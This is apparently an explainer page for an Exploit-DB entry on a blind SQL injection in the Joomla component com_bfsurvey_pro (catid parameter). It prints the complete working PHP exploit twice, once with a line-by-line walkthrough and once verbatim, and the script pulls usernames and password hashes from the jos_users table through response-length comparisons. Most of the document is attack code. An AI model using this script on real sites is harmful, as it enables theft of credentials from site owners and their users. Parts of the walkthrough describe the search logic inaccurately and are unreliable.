Joomla! Component com_bfsurvey_pro Blind SQL Injection Exploit

Joomla! Component com_bfsurvey_pro Blind SQL Injection Exploit
What this paper is
This paper describes a vulnerability in the com_bfsurvey_pro component for Joomla! versions prior to its fix. Specifically, it details a "blind SQL injection" flaw that allows an attacker to extract data from the website's database without seeing the direct output of the SQL queries. The exploit provided is a PHP script designed to automate the process of finding and extracting usernames and passwords from the jos_users table.
Simple technical breakdown
The core of the vulnerability lies in how the com_bfsurvey_pro component handles the catid parameter in its URLs. When this parameter is not properly sanitized, an attacker can inject malicious SQL code into it.
This exploit uses a blind SQL injection technique. This means the attacker doesn't see the database's direct response. Instead, they infer information by observing subtle differences in the web server's response, typically the length of the returned HTML page.
The exploit works by sending crafted URLs that append SQL conditions to the original catid parameter. These conditions are designed to:
- Test for existence: Check if a condition is true or false.
- Extract data character by character: Determine the ASCII value of each character in the username and password fields of the
jos_userstable.
The script compares the length of the response when a condition is true versus when it's false. A significant difference in response length indicates that the injected SQL condition was evaluated as true. By iteratively testing different characters and positions, the script reconstructs the data.
Complete code and payload walkthrough
The provided PHP script automates the blind SQL injection process. Let's break down its components:
<?php
ini_set("max_execution_time",0);
print_r('
\\\|///
\\ - - //
( @ @ )
----oOOo--(_)-oOOo---------------------------
@~~=Author : FL0RiX
@~~=Greez : Wretch-x,Dr.KaCaK & All Friends
@~~=Bug :) : com_bfsurvey_pro (catid) Blind SQL Injection Exploit
@~~=WARNING! : : php fl0rix.php "http://www.site.com/index.php?option=com_bfsurvey_pro&view=bfsurveypro&catid=53"
---------------Ooooo-------------------------
( )
ooooO ) /
( ) (_/
\ (
\_)
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$count = $i;
$i = 30;
}
}
for ($j = 1; $j < $count; $j++) {
for ($i = 46; $i <= 122; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 122;
}
}
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
for ($i = 46; $i <= 102; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 102;
}
}
}
}
?>ini_set("max_execution_time",0);: This line sets the maximum execution time for the script to unlimited. This is important because the exploit involves many HTTP requests, and it might take a long time to complete.print_r(' ... ');: This block prints an ASCII art banner with author information, greetings, and a warning about how to use the script. It also clearly states the vulnerability:com_bfsurvey_pro (catid) Blind SQL Injection Exploit.if ($argc > 1): This checks if the script was run with command-line arguments.$argcis the argument count, so$argc > 1means at least one argument (the script name itself plus one more) was provided.$url = $argv[1];: If an argument is provided, it's assigned to the$urlvariable. This argument is expected to be the base URL of the vulnerable Joomla! site, including the vulnerable component and acatidparameter (e.g.,http://www.site.com/index.php?option=com_bfsurvey_pro&view=bfsurveypro&catid=53).$r = strlen(file_get_contents($url."+and+1=1--"));:- Purpose: This is the first crucial step in establishing a baseline for comparison. It sends a request to the target URL with
+and+1=1--appended. - Explanation:
+and+1=1: This is a SQL condition that is always true.--: This is a SQL comment, used to nullify any subsequent SQL code that might be present in the originalcatidparameter, preventing syntax errors.file_get_contents(): This function fetches the content of the URL. In this context, it's used to trigger the web server's response.strlen(): This function calculates the length of the fetched content.
- Behavior: The script expects that when
1=1is true, the response length will be a certain value. This value is stored in$r.
- Purpose: This is the first crucial step in establishing a baseline for comparison. It sends a request to the target URL with
echo "\nExploiting:\n";: Prints a message indicating the exploitation process has begun.$w = strlen(file_get_contents($url."+and+1=0--"));:- Purpose: This establishes a baseline for a false condition.
- Explanation: Similar to the previous step, but with
+and+1=0--. - Behavior:
1=0is always false. The script expects the response length to be different when the injected condition is false. This length is stored in$w.
$t = abs((100-($w/$r*100)));:- Purpose: Calculates a "threshold" or "difference factor" based on the response lengths of true and false conditions.
- Explanation: This formula calculates the percentage difference between the lengths of the response when
1=1(true) and1=0(false), and then subtracts that from 100. Theabs()ensures it's a positive value. This value ($t) represents how much the response length typically changes when a condition is met versus not met. It's used later to determine if an injected condition is likely true.
echo "Username: ";: Prints a label for the extracted username.for ($i=1; $i <= 30; $i++) { ... }: This loop attempts to determine the length of the username.$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));:- Purpose: To find the maximum position (
$count) of a non-null character in the first username from thejos_userstable. - Explanation:
select+username+from+jos_users+limit+0,1: This SQL query selects theusernamefrom the first row (limit 0,1) of thejos_userstable.substring(..., $i, 1): Extracts a single character at position$i.ascii(...): Gets the ASCII value of that character.... != 0: Checks if the ASCII value is not zero.- The entire injected string is
+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--.
- Behavior: The script fetches the page length. If the length difference (calculated using
$t) is significant, it implies the conditionascii(...) != 0is true, meaning there's a character at position$i. The loop increments$iuntil it finds a position where the condition is false (or reaches the limit of 30).
- Purpose: To find the maximum position (
if (abs((100-($laenge/$r*100))) > $t-1): This checks if the difference in response length for the current character position is significant enough (greater than$t-1) to consider the condition true.$count = $i; $i = 30;: If a significant difference is found, it means the username has at least$icharacters.$countis set to this value, and the loop is prematurely terminated by setting$ito 30.
for ($j = 1; $j < $count; $j++) { ... }: This is the main loop for extracting the username character by character. It iterates from the first character ($j = 1) up to the determined length ($count).for ($i = 46; $i <= 122; $i=$i+2) { ... }: This inner loop performs a binary search-like process to find the ASCII value of the current character. It iterates through possible ASCII values, incrementing by 2.if ($i == 60) { $i = 98; }: This is a specific optimization/handling. ASCII 60 is '<'. If the loop reaches 60, it jumps to 98 ('b'). This is likely to skip characters that might cause issues or are not typically found in usernames, and to speed up the search by jumping over a range.$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));:- Purpose: To test if the ASCII value of the character at position
$jis greater than the current test value$i. - Explanation:
...%3E: This is the URL-encoded version of>. So, the injected SQL is+and+ascii(...) > $i --.
- Behavior: The script fetches the page length. If the length difference is significant, it means the ASCII value of the character at position
$jis indeed greater than$i.
- Purpose: To test if the ASCII value of the character at position
if (abs((100-($laenge/$r*100))) > $t-1): Checks if the conditionascii(...) > $iis true based on the response length difference.$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));: If the previous check was true (meaning the character's ASCII is greater than$i), this line performs another check: is the character's ASCII value greater than$i-1?if (abs((100-($laenge/$r*100))) > $t-1): If the character's ASCII is also greater than$i-1, it implies the character's ASCII value is exactly$i.echo chr($i-1);: If the character's ASCII is greater than$i-1but not greater than$i(meaning it's$i-1), then$i-1is printed. This is a slight logic inversion here; it means if the condition> i-1is true, and> iis false, the character isi-1.echo chr($i);: If the character's ASCII is greater than$i(and the previous check> i-1would also be true), then$iis printed. This means the character's ASCII is exactly$i.$i = 122;: Once a character is found, the inner loop is terminated by setting$ito the maximum possible ASCII value (122, which is 'z').
echo "\nPassword: ";: Prints a label for the extracted password.for ($j = 1; $j <= 49; $j++) { ... }: This loop is identical in structure to the username extraction loop, but it targets thepasswordfield and iterates up to 49 characters.for ($i = 46; $i <= 102; $i=$i+2) { ... }: The inner loop for password character ASCII value search. The range is 46 ('.') to 102 ('f'). This range is chosen because passwords typically consist of alphanumeric characters and some symbols.- The logic for finding the character's ASCII value is the same as for the username.
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
<?php
ini_set("max_execution_time",0);
print_r('
\\\|///
\\ - - //
( @ @ )
----oOOo--(_)-oOOo---------------------------
@~~=Author : FL0RiX
@~~=Greez : Wretch-x,Dr.KaCaK & All Friends
@~~=Bug :) : com_bfsurvey_pro (catid) Blind SQL Injection Exploit
@~~=WARNING! : : php fl0rix.php "http://www.site.com/index.php?option=com_bfsurvey_pro&view=bfsurveypro&catid=53"
---------------Ooooo-------------------------
( )
ooooO ) /
( ) (_/
\ (
\_)
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$count = $i;
$i = 30;
}
}
for ($j = 1; $j < $count; $j++) {
for ($i = 46; $i <= 122; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 122;
}
}
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
for ($i = 46; $i <= 102; $i=$i+2) {
if ($i == 60) {
$i = 98;
}
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 102;
}
}
}
}
?>